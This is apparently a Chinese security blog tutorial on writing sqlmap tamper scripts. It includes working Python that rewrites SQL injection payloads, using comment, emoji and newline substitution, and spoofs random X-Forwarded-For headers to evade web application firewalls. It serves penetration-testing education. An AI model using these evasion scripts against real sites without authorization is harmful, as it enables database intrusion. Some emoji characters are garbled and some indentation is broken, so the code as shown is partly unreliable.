0x1Demo

一个基本的tamper结构

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级


def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
    pass

def tamper(payload, **kwargs): # 修改Payload、以及请求头的主要函数
"""tamper描述"""
    return payload

0x2结构分析

拿自带的tamper space2hash.py来分析一下

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import random
import string

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

分为了import部分、__priority__ 属性、dependencies函数、tamper函数

2.1 import

import os
import random
import string

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

这一部分我们可以导入sqlmap的内部库,也可以导入python的库，sqlmap为我们提供了很多封装好的函数和数据类型，比如下面这个base64编码函数

from lib.core.convert import encodeBase64

就来自sqlmap\lib\core\convert.py

82931-bj1m2pn5vnr.png

2.2 PRIORITY

__priority__ = PRIORITY.LOW

PRIORITY是定义tamper的优先级，PRIORITY有以下几个参数，来源于sqlmap/lib/core/enums.py

LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100

如果使用了多个tamper，sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper

2.3dependencies

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

dependencies主要是提示用户，这个tamper支持哪些数据库，测试代码如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.enums import DBMS

__priority__ = PRIORITY.NORMAL

def dependencies():
    singleTimeWarnMessage("这是我的提示内容!!!!!!!!!!!!!!!!!!!")

def tamper(payload, **kwargs):
    return payload

运行效果如下

70097-aauxydikekm.png

至于DBMS.MYSQL就是代表代表的是Mysql在sqlmap\lib\core\enums.py可以查看其他的数据库

74638-dw3xuqlm79v.png

2.4Tamper

tamper这个函数是tamper最重要的函数，你要实现的功能，全部写在这个函数里。payload这个参数就是sqlmap的原始注入payload，我们要实现绕过，一般就是针对这个payload的修改。kwargs是针对http头部的修改，如果你bypass，是通过修改http头，就需要用到这个

2.4.1基于payload

这里就以emoji绕过为例来写一个tamper，用随机emoji表情加注释换行来代替空格

def tamper(payload, **kwargs):
retVal = ""
if payload:
    for i in xrange(len(payload)):
        if payload[i].isspace():
            emoji = '????????‍♂️?‍♀️??????????♓️?⚛️?☑️?????⚽️??⚾️??????????'
            retVal += "%%23%s%%0A" % emoji
        elif payload[i] == '#' or payload[i:i + 3] == '-- ':
            retVal += payload[i:]
            break
        else:
            retVal += payload[i]
return retVal
2.4.2基于HTTP头

然后想为我们刚刚实现的那个脚本加一个随机xff头,这里我们将xforwardedfor.py这个自带的tamper的代码拷贝过来
一个生成随机ip的函数

def randomIP():
"""Return random IP"""
octets = []
while not octets or octets[0] in (10, 172, 192):
    octets = random.sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in octets)

然后在tamper调用这个函数,修改我们的X-Forwarded-For的值

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()

0x03.完整脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import random

from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def randomIP():
    """Return random IP"""
    octets = []
    while not octets or octets[0] in (10, 172, 192):
        octets = random.sample(xrange(1, 255), 4)
    return '.'.join(str(_) for _ in octets)

def tamper(payload, **kwargs):
    """
    Random XFF and character ('#') followed by emoji and newline ('\n') replace (MySQL) space character

    Requirement:
        * MySQL

    Tested against:
        * MySQL

    Source:
        http://blog.mo60.cn/

    """
    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    retVal = ""
    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                emoji = '????????‍♂️?‍♀️??????????♓️?⚛️?☑️?????⚽️??⚾️??????????'
                retVal += "%%23%s%%0A" % emoji
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]
    return retVal

运行截图数据包

83260-hrw38lotw5.png

0x04 参考

https://y4er.com/post/sqlmap-tamper/

Last modification：April 19, 2022
© Allow specification reprint
  • 本文作者：Juneha
  • 本文链接：https://blog.mo60.cn/index.php/archives/211.html
  • 版权声明：本博客所有文章除特别声明外，均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明：
  • 文章声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任，本人坚决反对利用文章内容进行恶意攻击行为，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全，本文内容未隐讳任何个人、群体、公司。非文学作品，请勿过度理解，根据《计算机软件保护条例》第十七条，本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用，请随意赞赏,可备注留下ID方便感谢